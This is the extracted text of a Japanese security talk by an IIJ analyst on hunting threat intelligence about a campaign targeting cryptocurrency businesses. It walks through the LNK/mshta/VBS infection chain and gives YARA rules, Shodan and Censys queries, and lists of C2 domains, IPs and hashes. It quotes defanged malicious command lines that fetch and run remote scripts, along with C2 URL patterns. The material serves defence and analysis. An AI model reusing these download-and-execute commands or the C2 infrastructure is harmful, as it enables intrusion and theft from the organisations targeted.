仮想通貨事業者を標的にした攻撃キャンペーンに関する
脅威情報のハンティング

株式会社インターネットイニシアティブ
小寺 建輝

Copyright Internet Initiative Japan Inc.

自己紹介

● 小寺 建輝（Tateki Kodera）
 2019年度 株式会社インターネットイニシアティブ（IIJ） 新卒入社
 SOC アナリスト● 業務内容 インシデントの検知ルール作成

 脅威情報の収集・分析
 セキュリティブログ「wizSafe Security Signal」の執筆

Copyright Internet Initiative Japan Inc.

1

Introduction●講演内容
 仮想通貨事業者を標的とする対象の攻撃キャンペーンについて、
脅威情報を収集する方法（Hunting）の紹介
 Huntingの結果・有効性の共有●モチベーション 国内の事業者もこのキャンペーンの標的になっている
 関連する脅威情報の流通量が少ない/遅い 侵害を早期発見・未然防ぐための情報が必要

Copyright Internet Initiative Japan Inc.

2

Agenda●仮想通貨事業者を標的にした攻撃キャンペーンについて●脅威情報の収集/Hunting●まとめ●Appendix

Copyright Internet Initiative Japan Inc.

3

仮想通貨事業者を標的にした攻撃キャンペーンについて

Copyright Internet Initiative Japan Inc.

仮想通貨事業者を標的にした攻撃キャンペーン
2019年7月にJPCERT/CCより公表[1]その後各社が情報を公開[2][3]● 攻撃者グループ名
 CryptoCore
 LeeryTurtle Dangerous Password
 CryptoMimic Lazarus?
● ターゲット 仮想通貨事業者(日本企業も含む)

Copyright Internet Initiative Japan Inc.

[1] JP/CERT CC, 短縮URLからVBScriptをダウンロードさせるショートカットファイルを用いた攻撃, https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_lnk.html, 2019-07[2] ClearSky Cyber Security ltd., CryptoCore Group, https://www.clearskysec.com/cryptocore-group/, 2020-06[3] F-Secure LABS, LAZARUS GROUP CAMPAIGN TARGETING THE CRYPTOCURRENCY VERTICAL,
https://www.f-secure.com/en/consulting/our-thinking/threat-intelligence-report-lazarus-group-targeting-cryptocurrency, 2020-08

5

攻撃キャンペーンの流れ(2020/03 時点)
1. スピアフィッシングメールを受信
2. リンクからZIPファイルをダウンロード● ZIPファイルの中身
 Decoyファイル(PDF、DOCXなど)- パスワード保護されている
 LNKファイル(ショートカットファイル)- パスワードファイルやドキュメントファイルを装うことが多い

bit.lyZIP

Password

decoy

TXT

Drop&Open

LNK

ExecuteC2 Server

VBS-1

Drop&Persistence
LNK

Drop&Execute
VBS-2

ExecuteLNKファイルの例
Copyright Internet Initiative Japan Inc.

VBS-3

6

攻撃キャンペーンの流れ(2020/03 時点)
Decoyファイルの例

Copy&Paste?

Decoyファイルの例
日本暗号資産取引業協会, 「暗号資産取引業における主要な経理処理例示」公表のお知らせ,
https://jvcea.or.jp/news/main-info/20200612-001/ , 2020-06
Copyright Internet Initiative Japan Inc.

7

攻撃キャンペーンの流れ(2020/03 時点)
3. ZIPファイルに含まれるLNKファイルをユーザが実行 VBS-1をダウンロード・実行(mshta.exe)
 URLの指定には短縮URL(bitly)を使用

bit.lyZIP

Password

decoy

LNK

● LNKファイルより実行されるコマンド例
C¥Windows¥system32¥mshta.exe https://bit.ly/<path>
TXT

Drop&Open

ExecuteC2 Server

VBS-1

Drop&Persistence
LNK

Drop&Execute
VBS-2

VBS-1
VBS-1のダウンロード
Copyright Internet Initiative Japan Inc.

ExecuteVBS-3

8

攻撃キャンペーンの流れ(2020/03 時点)
4. VBS-1の実行

bit.lyZIP

 Decoyファイルのパスワード表示- %TEMP%¥Password.txtを作成して表示- 表示後はファイル削除
Password 永続化- ユーザのStartupフォルダにLNKファイルを作成- 最初のLNKファイルと通信先URLは異なる- ファイル名:Xbox.lnk

 VBS-2をドロップ・実行- %TEMP%配下にVBSファイルを作成- ファイル名：<英数字>.vbs

decoy

TXT

Drop&Open

LNK

ExecuteC2 Server

VBS-1

Drop&Persistence
LNK

Drop&Execute
VBS-2

ExecuteVBS-3
Copyright Internet Initiative Japan Inc.

9

攻撃キャンペーンの流れ(2020/03 時点)
5. VBS-2の実行
 VBS-3のダウンロード・実行- POSTリクエストを送信し、レスポンスに含まれるVBS-3を実行- URL:

bit.lyZIP

Password

decoy

LNK

http://<IP address>:8080/edit?topic=s9[0-9]{3}TXT

Drop&Open

ExecuteC2 Server

VBS-1

Drop&Persistence
LNK

Drop&Execute
VBS-2

VBS-3
VBS-3のダウンロード
Copyright Internet Initiative Japan Inc.

ExecuteVBS-3

10

攻撃キャンペーンの流れ(2020/03 時点)
6. VBS-3の実行

bit.lyZIP

 C2サーバとの通信- WMIにより収集した情報をPOSTリクエストで送信し、コマンドを受信- URL:
http://<IP address>:8080/edit?topic=v[0-9]{2,3}&session=[0-9]{8}[12]&isbn=[0-9]{7}Password

decoy

TXT

Command

処理内容20#

1. URLにGETリクエストを送信
2. 1.のレスポンスに含まれるコードをBase64とXORでデコード・復号して実行

21

終了

22

特になし（VBS-3に定義されていない）

23#

レスポンスに含まれるコードをBase64でデコードして実行

Copyright Internet Initiative Japan Inc.

Drop&Open

LNK

ExecuteC2 Server

VBS-1

Drop&Persistence
LNK

Drop&Execute
VBS-2

ExecuteVBS-3

11

脅威情報の収集/Hunting

Copyright Internet Initiative Japan Inc.

脅威情報の収集●公開・共有 レポート、ブログ
 SNS（Twitterなど）
 IoCの投稿（URLhaus、Pastebin、MalwareBazaarなど）●観測 メールの観測 ハニーポット クローラー

Copyright Internet Initiative Japan Inc.

13

脅威情報の収集●公開・共有 レポート、ブログ
 SNS（Twitterなど）
 IoCの投稿（URLhaus、Pastebin、MalwareBazaarなど）•••

公開、共有されるケースはあるが少ない
公開された時点で既に攻撃に利用されていない可能性がある
攻撃内容が変わっている可能性がある●観測 メールの観測 ハニーポット クローラー

Copyright Internet Initiative Japan Inc.

14

脅威情報の収集●公開・共有 レポート、ブログ
 SNS（Twitterなど）
 IoCの投稿（URLhaus、Pastebin、MalwareBazaarなど）•••

公開、共有されるケースはあるが少ない
公開された時点で既に攻撃に利用されていない可能性がある
攻撃内容が変わっている可能性がある•

標的型なので観測するのは難しい●観測 メールの観測 ハニーポット クローラー

Copyright Internet Initiative Japan Inc.

15

脅威情報の収集●サービス・ツール
 Reverse Whois
 Certificate Transparency
 Passive SSL
 Passive DNS Hunting

Copyright Internet Initiative Japan Inc.

16

脅威情報の収集●サービス・ツール• Whois Privacy Service
 Reverse Whois
を利用しているため活用は難しい
whoisレコードの登録情報からドメインを検索ex) DomainTools、VirusTotal、RiskIQ、WhoisXML APIなど
 Certificate Transparency（CT）
 Passive SSL
 Passive DNS Hunting

Copyright Internet Initiative Japan Inc.

17

脅威情報の収集●サービス・ツール
 Reverse Whois
 Certificate Transparency（CT）
サーバ証明書の発行を監視ex) Certstream、crt.shなど
 Passive SSL
サーバ証明書に紐づくIPアドレスの履歴の取得
ex) VirusTotal、RiskIQ、CIRCLなど
 Passive DNS Hunting

Copyright Internet Initiative Japan Inc.

•

2020/03 時点ではHTTPSは利用されていなかったため対象外

18

脅威情報の収集●サービス・ツール
 Reverse Whois
 Certificate Transparency（CT）
 Passive SSL•
 Passive DNS
DNSレコードの履歴を取得•
ex) VirusTotal、RiskIQ、SecurityTrails、CIRCLなど
 HuntingIPアドレスやドメインを使い回す傾向があり、履歴から新しいIoCを発見できる
完全な追跡はできないので、他の収集方法も必要

C2 ドメイン
C2 IPアドレス

140.117.91[.]22
Copyright Internet Initiative Japan Inc.

name.ownemail[.]me19

脅威情報の収集●サービス・ツール
 Reverse Whois
 Certificate Transparency
 Passive SSL
 Passive DNS Hunting- マルウェアのHunting- サーバのHunting

Copyright Internet Initiative Japan Inc.

20

脅威情報の収集●サービス・ツール
 Reverse Whois
 Certificate Transparency
 Passive SSL
 Passive DNS Hunting- マルウェアのHunting
オンラインサービスにアップロードされた検体をYaraルールなどを用いて見つける⇒検体解析をしてIoCなどを取得
ex)VirusTotal、Hybrid Analysisなど- サーバのHunting
Yaraルール
検索マルウェア情報Copyright Internet Initiative Japan Inc.

マルウェア
Upload
オンライン
サービス

21

脅威情報の収集●サービス・ツール
 Reverse Whois
 Certificate Transparency
 Passive SSL
 Passive DNS Hunting- マルウェアのHunting- サーバのHunting
インターネットに接続された機器を検索可能なサービスからC2サーバなどを見つけるex)Shodan、Censys、 BinaryEdge、FOFA、ZoomEyeなど
インターネット

スキャン
検索
C2サーバの情報
Copyright Internet Initiative Japan Inc.

オンライン
サービス

22

脅威情報の収集●サービス・ツール
 Reverse Whois
 Certificate Transparency
 Passive SSL
 Passive DNS Hunting- マルウェアのHunting- サーバのHunting

Copyright Internet Initiative Japan Inc.

•

マルウェアやC2サーバの特徴から、
Huntingで新しい脅威情報を早期に取得できる可能性がある

23

Hunting
マルウェアのHunting
 LNKファイルの特徴を調査
 Yaraルールを作成
 オンラインサービスにアップロード
されたLNKファイルを見つける(VirusTotalを使用)

bit.lyZIP

Password

decoy

TXT

Drop&Open

LNK

ExecuteC2 Server

VBS-1

Drop&Persistence
LNK

Drop&Execute
VBS-2

ExecuteVBS-3
Copyright Internet Initiative Japan Inc.

24

マルウェアのHunting -LNKファイルの特徴調査LECmd*を利用してLNKファイルをパース 実行するTargetおよびArguments
 LNKファイルを作成した環境の情報- Drive Serial Number、Machine ID（ホスト名）、MAC Addressなど

Machine ID
MAC Address
Arguments

Drive Serial Number
Target* LECmd, https://ericzimmerman.github.io/#!index.md
Copyright Internet Initiative Japan Inc.

25

マルウェアのHunting -LNKファイルの特徴調査既知のLNKファイル*から特徴的な情報を抽出*公開されたハッシュ値からマルウェア(LNKファイル)を取得(2020/03 時点)
Md5 hash value

Target92aa224af7d71c9fc162fdb6ce53bc5b

C:¥Windows¥System32¥
cmd.exe/c start /b
C:¥Windows¥System32¥mshta
hxxps://bit[.]ly/2WKpO9I

desktop-l2c0mes

32f76e3a94:b8:6d:40:61:b7

eab491a31d4f049695c0aa515a0d90b6

C:¥Windows¥System32¥
cmd.exe/c start/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2BvWd6W

desktop-l2c0mes

32f76e3a94:b8:6d:40:61:b7

53b800066811b7668e59774bd4c763ca

C:¥Windows¥System32¥
mshta.exe

hxxps://bit[.]ly/2mDY7hQ

desktop-drple9q

c6192c1f

a8:1e:84:e9:96:db

ff9ee83f13bd8167d9ba780b2a147668

C:¥Windows¥System32¥
mshta.exe

hxxps://bit[.]ly/2mDY7hQ

desktop-drple9q

c6192c1f

a8:1e:84:e9:96:db

97fd02ae666988d853a68fdd7f7d2e7f

C:¥Windows¥System32¥
cmd.exe/c start/b %SystemRoot%¥System32¥ desktop-3qnluk1
mshta hxxps://bit[.]ly/32CyMoa

5cd40236

94:b8:6d:42:68:1d

cf1bc39380f40a514aa82e4db6215b11

C:¥Windows¥System32¥
cmd.exe/c start/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2MgEsjc

desktop-3qnluk1

5cd40236

94:b8:6d:42:68:1d

8cc8bdc017b103f4dbd00e6336809594

C:¥Windows¥System32¥
mshta.exe

hxxps://bit[.]ly/2ktwIhI

desktop-40rv62t

f6b43908

d8:c4:97:1f:3c:82

Copyright Internet Initiative Japan Inc.

Argument

Machine ID

Drive Serial Number

MAC Address

URLの「https」は「hxxps」、「.」は「[.]」に置き換えています26マルウェアのHunting -LNKファイルの特徴調査既知のLNKファイル*から特徴的な情報を抽出*公開されたハッシュ値からマルウェア(LNKファイル)を取得(2020/03 時点)
Md5 hash value

Target92aa224af7d71c9fc162fdb6ce53bc5b

C:¥Windows¥System32¥
cmd.exe/c start /b
C:¥Windows¥System32¥mshta
hxxps://bit[.]ly/2WKpO9I

desktop-l2c0mes

32f76e3a94:b8:6d:40:61:b7

eab491a31d4f049695c0aa515a0d90b6

C:¥Windows¥System32¥
cmd.exe/c start/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2BvWd6W

desktop-l2c0mes

32f76e3a94:b8:6d:40:61:b7

53b800066811b7668e59774bd4c763ca

C:¥Windows¥System32¥
mshta.exe

hxxps://bit[.]ly/2mDY7hQ

desktop-drple9q

c6192c1f

a8:1e:84:e9:96:db

ff9ee83f13bd8167d9ba780b2a147668

C:¥Windows¥System32¥
mshta.exe

hxxps://bit[.]ly/2mDY7hQ

desktop-drple9q

c6192c1f

a8:1e:84:e9:96:db

97fd02ae666988d853a68fdd7f7d2e7f

C:¥Windows¥System32¥
cmd.exe/c start/b %SystemRoot%¥System32¥ desktop-3qnluk1
mshta hxxps://bit[.]ly/32CyMoa

5cd40236

94:b8:6d:42:68:1d

cf1bc39380f40a514aa82e4db6215b11

C:¥Windows¥System32¥
cmd.exe/c start/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2MgEsjc

desktop-3qnluk1

5cd40236

94:b8:6d:42:68:1d

8cc8bdc017b103f4dbd00e6336809594

C:¥Windows¥System32¥
mshta.exe

hxxps://bit[.]ly/2ktwIhI

desktop-40rv62t

f6b43908

d8:c4:97:1f:3c:82

Copyright Internet Initiative Japan Inc.

Argument

Machine ID

Drive Serial Number

MAC Address

URLの「https」は「hxxps」、「.」は「[.]」に置き換えています27マルウェアのHunting -Yaraルールの作成Yaraルールの作成

rule suspicious_lnk2{
meta:
description = "Detects LNK file containing specific Machine ID,
MAC Address, Drive Serial Number"reference ="https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_lnk.html"
strings:$mid1 = "desktop-l2c0mes" ascii wide nocase$mid2 = "desktop-drple9q" ascii wide nocase$mid3 = "desktop-3qnluk1" ascii wide nocase$mid4 = "desktop-40rv62t" ascii wide nocase$mac1 = { d8 c4 97 1f 3c 82 }$mac2 = { a8 1e 84 e9 96 db }$mac3 = { 94 b8 6d 40 61 b7 }$mac4 = { 94 b8 6d 42 68 1d }$dsn1 = { 36 02 d4 5c }$dsn2 = { 3a 6e f7 32 }$dsn3 = { 1f 2c 19 c6 }$dsn4 = { 08 39 b4 f6 }rule suspicious_lnk1{
meta:
description = "Detects LNK file containing bitly and mshta"
reference ="https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_lnk.html"

strings:$bitly = "https://bit.ly/" ascii wide nocase$mshta = "mshta" ascii wide nocase
condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and $bitly
and $mshta}
BitlyのURLとmshtaを含むLNKファイルを検出するルール

Copyright Internet Initiative Japan Inc.

condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of them}
特定の作成環境情報を含むLNKファイルを検出するルール

28

マルウェアのHunting -Yaraルールによる検索結果-

対象の攻撃キャンペーンに関連

Copyright Internet Initiative Japan Inc.

2020/03以前にアップロードされた検体を検索した結果(VirusTotal)29マルウェアのHunting -Hunting結果2020/03～2020/12でアップロードされた新規の検体を29件発見
 取得した検体から新規のC2サーバのドメインなどを確認（Appendix参照）
 利用したYaraルールによる誤検知はほとんどなし

5
4
3
2
1

2020/122020/112020/102020/92020/82020/72020/62020/52020/402020/3

Number of uploads

6

Month

Copyright Internet Initiative Japan Inc.

30

マルウェアのHunting -Hunting結果短縮URLの作成から短期間(数時間~数日)でLNKファイルがアップロード
されるケースもあり、アクティブな脅威情報が取得可能

md5 hash

VT First Upload

Bitly URL

Bitly Creation

diffa36b1884980301e22f70b2ddd4e5550b

2020/3/24 2:15 hxxps://bit[.]ly/2QGWFaq

2020/3/23 8:23

約18時間

0eb71e4d2978547bd96221548548e9f0

2020/3/25 15:06 hxxps://bit[.]ly/2vQQ9Xo

2020/3/25 1:11

約14時間

115c42f4a16aa6f52a4a431dcdd92941

2020/6/25 7:50 hxxps://bit[.]ly/2YqVbFt

2020/6/24 8:14

約23時間

0e03f39a4b4008d76e4ca1d1c2c4559d

2020/12/4 17:34 hxxps://bit[.]ly/36GH6rx

2020/12/4 15:16

約２時間

2020/12/18 12:42 hxxps://bit[.]ly/37vTMC1 2020/12/18 8:00

約5時間

124f4406e1f65d734f1f7430142f6f15

Copyright Internet Initiative Japan Inc.

URLの「https」は「hxxps」、「.」は「[.]」に置き換えています31マルウェアのHunting -攻撃内容・傾向の変化2020/03 時点

bit.lyZIP

Password

decoy

ExecuteDrop&Open

VBS-1

LNK

decoy

C2 Server

C2 Server

ExecuteAccess&Display

JS-1

Drop&Persistence

Drop&Persistence
LNK

bit.lyZIP

Google Driveにアクセス

LNK

TXT

2020/12 時点

Drop&Execute
VBS-2

LNK

ファイル名の変更

Drop&Execute
通信パターンの変更

JS-2

VBS->JSに変更

Copyright Internet Initiative Japan Inc.

ExecuteExecute

VBS-3

???

未確認

32

マルウェアのHunting -攻撃内容・傾向の変化●URLパターンの変化
LNK -> C2サーバの通信 2020/03時点
http://<FQDN>:8080/edit?id=[A-Za-z0-9+/%]+
 2020/12時点
http(s)://<FQDN>/[A-Za-z0-9+/]{43}=VBS-2 -> C2サーバの通信 2020/03時点
http://<IP address>:8080/edit?topic=s9[0-9]{3}2020/12時点
http(s)://<FQDN or IP address>/●永続化ファイル名の変化
 2020/03時点
Xbox.lnk
 2020/12時点
MSEdge.lnk、Ms.Onenote.lnk
Copyright Internet Initiative Japan Inc.

33

Hunting
C2サーバのHunting
 サーバの特徴を調査
 調査用のクエリを作成
 インターネットに接続された機器を検索可能なサービスを利用しC2サーバを見つける(Shodan、Censysを使用)

Password

decoy

TXT
https://www.shodan.io/

bit.lyZIP

Drop&Open

LNK

ExecuteC2 Server

VBS-1

Drop&Persistence
https://censys.io/

調査用のクエリの作成

LNK

Drop&Execute
VBS-2

ExecuteVBS-3
Copyright Internet Initiative Japan Inc.

34

C2サーバのHunting -サーバの特徴調査既知のC2サーバ*のIPアドレスから特徴的な情報を調査

IP address *C2 Port41.85.145[.]164

8080

78.94.213[.]101

8080

75.133.9[.]848080

140.117.91[.]228080

88.204.166[.]598080

23.254.144[.]139

8080

Copyright Internet Initiative Japan Inc.

Server Header
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

html hashStatus Code

Title

Favicon hash-1416121728

404

Object not found!

577551214

200

Index of /1675730159 Open

1854619869

404

Object not found!

1675730159 Open-233582453

404

Object not found!

1675730159 Open776046083

404

Object not found!

1675730159 Open

-119853929

404

Object not found!

1675730159 Open

1675730159

RDP

不明

* C2サーバのIPアドレスはマルウェアのHunting結果や公開情報から取得(2020/04 時点)

35

C2サーバのHunting -サーバの特徴調査既知のC2サーバのIPアドレスから特徴的な情報を調査

IP address

C2 Port41.85.145[.]164

8080

78.94.213[.]101

8080

75.133.9[.]848080

140.117.91[.]228080

88.204.166[.]598080

23.254.144[.]139

8080

Copyright Internet Initiative Japan Inc.

Server Header
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

html hashStatus Code

Title

Favicon hash-1416121728

404

Object not found!

577551214

200

Index of /1675730159 Open

1854619869

404

Object not found!

1675730159 Open-233582453

404

Object not found!

1675730159 Open776046083

404

Object not found!

1675730159 Open

-119853929

404

Object not found!

1675730159 Open

1675730159

RDP

不明

36

C2サーバのHunting -サーバの特徴調査既知のC2サーバのIPアドレスから特徴的な情報を調査
Xampp?
IP address

C2 Port41.85.145[.]164

8080

78.94.213[.]101

8080

75.133.9[.]848080

140.117.91[.]228080

88.204.166[.]598080

23.254.144[.]139

8080

Copyright Internet Initiative Japan Inc.

Server Header
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

html hash*2

Status Code*2

Title*2

Favicon hash-1416121728

404

Object not found!

577551214

200

Index of /1675730159 Open

1854619869

404

Object not found!

1675730159 Open-233582453

404

Object not found!

1675730159 Open776046083

404

Object not found!

1675730159 Open

-119853929

404

Object not found!

1675730159 Open

1675730159

RDP

不明

37

C2サーバのHunting -サーバの特徴調査既知のC2サーバのIPアドレスから特徴的な情報を調査

IP address

C2 Port41.85.145[.]164

8080

78.94.213[.]101

8080

75.133.9[.]848080

140.117.91[.]228080

88.204.166[.]598080

23.254.144[.]139

8080

Copyright Internet Initiative Japan Inc.

Server Header
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

html hash*1,2

Status Code*1

Title*1

Favicon hash-1416121728

404

Object not found!

577551214

200

Index of /1675730159 Open

1854619869

404

Object not found!

1675730159 Open-233582453

404

Object not found!

1675730159 Open776046083

404

Object not found!

1675730159 Open

-119853929

404

Object not found!

1675730159 Open

1675730159*1 「/」アクセス時のStatusCode,html hash,Title*2 hashアルゴリズムはMurmur Hash 3

RDP
不明

38

C2サーバのHunting -サーバの特徴調査既知のC2サーバのIPアドレスから特徴的な情報を調査
Google Driveのfavicon
IP address

C2 Port41.85.145[.]164

8080

78.94.213[.]101

8080

75.133.9[.]848080

140.117.91[.]228080

88.204.166[.]598080

23.254.144[.]139

8080

Copyright Internet Initiative Japan Inc.

Server Header
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

html hashStatus Code

Title

Favicon hash*1

RDP-1416121728

404

Object not found!

1675730159

不明

577551214

200

Index of /1675730159 Open

1854619869

404

Object not found!

1675730159 Open-233582453

404

Object not found!

1675730159 Open776046083

404

Object not found!

1675730159 Open

-119853929

404

Object not found!

1675730159 Open

*1 hashアルゴリズムはMurmur Hash 3

39

C2サーバのHunting -調査用クエリの作成●Shodan:“Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40” port:8080 http.status:404 http.favicon.hash:1675730159●Censys8080.http.get.headers.server:"Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40" AND 8080.http.get.status_code:404
AND protocols: "3389/rdp"
IP address

C2 Port41.85.145[.]164

8080

78.94.213[.]101

8080

75.133.9[.]848080

140.117.91[.]228080

88.204.166[.]598080

23.254.144[.]139

8080

Copyright Internet Initiative Japan Inc.

Server Header

Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

html hashStatus Code

Title

Favicon hash-1416121728

404

Object not found!

577551214

200

Index of /1675730159 Open

1854619869

404

Object not found!

1675730159 Open-233582453

404

Object not found!

1675730159 Open776046083

404

Object not found!

1675730159 Open

-119853929

404

Object not found!

1675730159 Open

1675730159

RDP

不明

40

C2サーバのHunting -調査用クエリによる検索結果(2020/04 時点)-

対象の攻撃キャンペーンに関連
Copyright Internet Initiative Japan Inc.

https://www.shodan.io/

https://censys.io/41

C2サーバのHunting -Hunting結果2020/04～2020/12で新規のC2サーバを12件発見
 Passive DNSやマルウェアのHuntingより早くC2サーバを発見できるケースも確認

懸念点

5
4
3
2
1

2020/122020/112020/102020/92020/82020/72020/62020/502020/4

Number of server detections

 攻撃内容の変化に伴い、サーバの特徴も変化する可能性がある
 調査の時点で無関係なサーバを誤検出することがあるため、C2サーバか否かを確認する方法が必要

Month
Copyright Internet Initiative Japan Inc.

42

C2サーバのHunting - サーバの特徴の変化-

非公開

Copyright Internet Initiative Japan Inc.

※Let’s Encryptが発行したサーバ証明書を使用する傾向がある
詳細はAppendixを参照
43

C2サーバのHunting -C2サーバの確認-

非公開

Copyright Internet Initiative Japan Inc.

まとめ

Copyright Internet Initiative Japan Inc.

まとめ
●対象の攻撃キャンペーンについて、新規の脅威情報を取得する手段の一つとして脅威情報のHuntingについて検討●マルウェア(LNKファイル)とC2サーバのHuntingを実施
 新規の脅威情報を早期に取得できることを確認
 継続的なHuntingで、攻撃内容や特徴の変化にも気づくことができた

Copyright Internet Initiative Japan Inc.

46

Appendix

Copyright Internet Initiative Japan Inc.

Huntingで得たIoC （ドメイン）

1driv[.]org

mse[.]theworkpc[.]com

upload[.]gdrives[.]best

docs[.]dsharefile[.]tech

name[.]ownemail[.]meup[.]myemail[.]works

docs[.]gdriveshare[.]top

share[.]onedrvfile[.]site

www[.]cloudfiles[.]clubdown[.]privatework[.]buzzshop[.]newsbtctech[.]com

www[.]filehost[.]network

drop[.]trailads[.]net

twosigmateam[.]info

www[.]gdocshare[.]com

mdown[.]showprice[.]xyz

up[.]digifincx[.]com

www[.]google-clouds[.]com

Copyright Internet Initiative Japan Inc.

48

Huntingで得たIoC （IPアドレス）

192[.]119[.]84[.]22

103[.]31[.]249[.]62

206[.]169[.]149[.]96

41[.]79[.]70[.]142

142[.]11[.]213[.]5

89[.]134[.]49[.]3

140[.]114[.]37[.]4

111[.]93[.]95[.]82

84[.]201[.]189[.]216

140[.]115[.]70[.]75

45[.]61[.]139[.]215

103[.]130[.]195[.]170

Copyright Internet Initiative Japan Inc.

49

Huntingで得たIoC （LNKファイルのハッシュ値・md5）
09bca3ddbc55f22577d2f3a7fda22d1c

65686b08db5424db6be1520b9c1cb38c

2a317378db1a743e2cea02fda71dab54

da599b0cde613b5512c13f299fec739e

bb14edf24bc21310f5af99fe7f31769f

14a00f517012279af53118a491253e5c

a36b1884980301e22f70b2ddd4e5550b

f4d2b31353720527e1114aebfde0c6c9

224d2398437e665f3202d4118e4748e2

0eb71e4d2978547bd96221548548e9f0

115c42f4a16aa6f52a4a431dcdd92941

a164164ef82fa17605c49c36c67a6244

610043cefa364c56091d28058ea0392d

af89869ad1ed31935ee6a15ab7a7cca942e570787aeba38db7b4fc7ae075685b

483d9238da27b35b9983ae6c062b3cd0

365d95c0d0659a1081488460eadf8159

0e03f39a4b4008d76e4ca1d1c2c4559d

c025d1abf79cf25d753cdf97d549ab2b

dbbda35f115f382ad022cae0fd7d5157

bfd2bbfbd00f6164ad08d088a407240f

093eae51bd7566c40d646c1b37bce0ea

e33cc1ebaf16d10a4d651868aa66fc87

124f4406e1f65d734f1f7430142f6f15

23fb6b8c4575375c7e98df04e82899c5

76ec46ffc28bdd4337588fbe0e826b39

4a41775f08ac9dec54e67ee5ad6f8c21

d73499bc6b500b4fc5648943e12ce9e2

12aa32ee18926c597f3c0387f0775577

Copyright Internet Initiative Japan Inc.

50

Yaraルール

rule suspicious_lnk1{
meta:
description = "Detects LNK file containing bitly and mshta"
reference ="https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_lnk.html"

rule suspicious_lnk2{
meta:
description = "Detects LNK file containing specific Machine ID"
reference ="https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_lnk.html"
strings:$mid1 = "desktop-l2c0mes" ascii wide nocase$mid2 = "desktop-drple9q" ascii wide nocase$mid3 = "desktop-3qnluk1" ascii wide nocase$mid4 = "desktop-40rv62t" ascii wide nocase$mid5 = "desktop-40pfpbl" ascii wide nocase$mid6 = "desktop-70c1dv0" ascii wide nocase$mid7 = "desktop-9crc3tq" ascii wide nocase$mid8 = "desktop-9gn985v" ascii wide nocase$mid9 = "desktop-f0c3j3k" ascii wide nocase$mid10 = "desktop-k6v4hhf" ascii wide nocase$mid11 = "desktop-mn3id9" ascii wide nocase$mid12 = "desktop-o4qapbk" ascii wide nocase$mid13 = "desktop-o9lq4aq" ascii wide nocase$mid14 = "desktop-ppppppp" ascii wide nocase

strings:$bitly = "https://bit.ly/" ascii wide nocase$mshta = "mshta" ascii wide nocase
condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and $bitly
and $mshta}

condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of them}
Copyright Internet Initiative Japan Inc.

51

Yaraルール

rule suspicious_lnk3{
meta:
description = "Detects LNK file containing specific MAC Address"
reference ="https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_lnk.html"

rule suspicious_lnk4{
meta:
description = "Detects LNK file containing specific Drive Serial
Number"reference ="https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_lnk.html"
